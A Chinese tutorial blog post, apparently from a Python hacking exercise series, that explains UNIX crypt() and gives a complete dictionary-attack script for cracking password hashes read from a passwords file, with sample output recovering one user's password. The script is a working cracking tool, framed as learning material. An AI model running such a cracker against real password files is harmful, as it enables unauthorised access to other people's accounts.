Python 黑客 --- 001 UNIX口令破解机

来源:互联网 发布:编程语言的3个属性 编辑:程序博客网 时间:2024/05/16 12:54

Python 黑客 实战:UNIX口令破解机

使用的系统:Ubuntu 14.04 LTS
Python语言版本:Python 2.7.10 V

crypt 库是Python内置的库。在UNIX系统使用,使用crypt()函数对密码进行加密。UNIX Crypt 函数计算的加密口令为:crypt('egg', 'HX') = HX9LLTdc/jiDE

$ pythonPython 2.7.6 (default, Jun 22 2015, 18:00:18) [GCC 4.8.2] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> help('crypt')

输出:

Help on module crypt:NAME    cryptFILE    /usr/lib/python2.7/lib-dynload/crypt.i386-linux-gnu.soMODULE DOCS    http://docs.python.org/library/cryptFUNCTIONS    crypt(...)        crypt(word, salt) -> string        word will usually be a user's password. salt is a 2-character string        which will be used to select one of 4096 variations of DES. The characters        in salt must be either ".", "/", or an alphanumeric character. Returns        the hashed password as a string, which will be composed of characters from        the same alphabet as the salt.(END)

q退出。

我们来试试这个crypt()函数:

>>> import crypt>>> crypt.crypt("egg", "HX")'HX9LLTdc/jiDE'>>> 

程序设计思路

黑客穷举了字典中所有单词,并用Unix crypt() 函数对它们加密,然后将结果偷来的加密密码进行对比。
这就是:字典攻击法 ,来破解加密的口令。

程序编写

你可以在这里下载源代码: 1-4-2-passwdCrack.py

源代码讲解:

#! /usr/bin/python# -*- coding: utf-8 -*-import cryptdef testPass(cryptPass):    # 加密的口令hash    salt = cryptPass[0:2]   # 提取加密的口令hash前两个字符视为salt    dictFile = open('dictionary.txt', 'r')   # 读取字典里的所有单词    for word in dictFile.readlines():        # 遍历字典中的每一个单词        word = word.strip('\n')              # 提取单个单词        cryptWord = crypt.crypt(word, salt)  # 用每个单词和salt计算一个新的加密口令hash        if cryptWord == cryptPass:           # 如果结果与加密口令hash匹配            print '[+] Found Password: ' + word + '\n'  # 显示找到密码            return                           # 找到密码,返回    print '[-] Password Not Found.\n'     # 搜遍字典无果    return                                # 没有找到密码,返回def main():    passFile = open('passwords.txt')    # 打开加密口令文件"passwords.txt"    for line in passFile.readlines():   # 逐行读取口令文件中的内容        if ':' in line:                      user = line.split(':')[0]            cryptPass = line.split(':')[1].strip(' ')   # 每一行的用户名和口令hash都是分隔开的            print '[*] Cracking Password For: ' + user            testPass(cryptPass)     # 调用testPass()函数,尝试用字典中的单词破解口令hashif __name__ == '__main__':    main()

代码中读取的 ‘passwords.txt’ 和 ‘dictionary.txt’ 文件在这里可以下载。

添加可执行权限:

sudo chmod 777 1-4-2-passwdCrack.py 

运行脚本:

$ ./1-4-2-passwdCrack.py [*] Cracking Password For: victim[+] Found Password: egg[*] Cracking Password For: root[-] Password Not Found.

从输出结果可以看出:我成功破解了victim用户的密码。root的密码我们没有成功。那么这表明:root 一定是使用了我们字典( ‘dictionary.txt’ 文件)之外的单词作为密码。没事,我们现在学习了这一种破解方法(字典攻击法),后面我们会学习更多的破解方法。

0 0
原创粉丝点击